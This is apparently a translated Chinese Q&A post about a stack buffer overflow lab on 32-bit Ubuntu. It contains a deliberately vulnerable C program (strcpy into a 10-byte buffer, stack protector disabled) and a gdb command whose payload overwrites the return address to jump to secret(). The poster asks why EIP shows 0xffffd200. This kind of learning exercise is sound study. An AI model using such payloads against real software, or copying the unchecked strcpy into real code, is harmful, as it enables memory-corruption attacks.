上下文:下面显示的源代码是使用下面显示的第一个命令编译的。然后将生成的可执行文件加载到gdb中,并使用下面显示的第二个命令运行。然后产生段错误(如预期的那样),并使用gdb检查EIP寄存器的内容。观察到两例。
案例1:下面显示的第二个命令中提供的十六进制地址是 NOT 当前加载的可执行文件中某个函数的地址。运行此命令后,将检查EIP并包含命令提供的地址(如预期的那样)。
案例2:第二个命令中提供的十六进制地址如下所示 IS 当前加载的可执行文件中的某个函数的地址(在本例中为secret())。运行此命令后,将检查EIP并包含地址0xffffd200。在这种情况下,已尝试了几种代码变体,EIP中的结果值始终为0xffffd200。
问题: 在使用缓冲区溢出将该地址设置为正在运行的可执行文件中某个函数的地址后,会覆盖堆栈帧返回地址的机制是什么?
注意:
OS = Ubuntu 16.04.2 LTS(Xenial Xerus)
GCC版本= 5.4.0
架构= x86
来源:
#include <stdio.h>
#include <string.h>
void secret() {
printf("success\n");
}
void vuln(char *input) {
char buffer[10];
strcpy(buffer, input);
}
int main(int argc, char* argv[]) {
vuln(argv[1]);
return 0;
}
第一个命令:
gcc -m32 -fno-stack-protector test.c
第二个命令(在gdb中):
run `python -c 'print "a"*22 + "\x56\x84\x04\x08"'`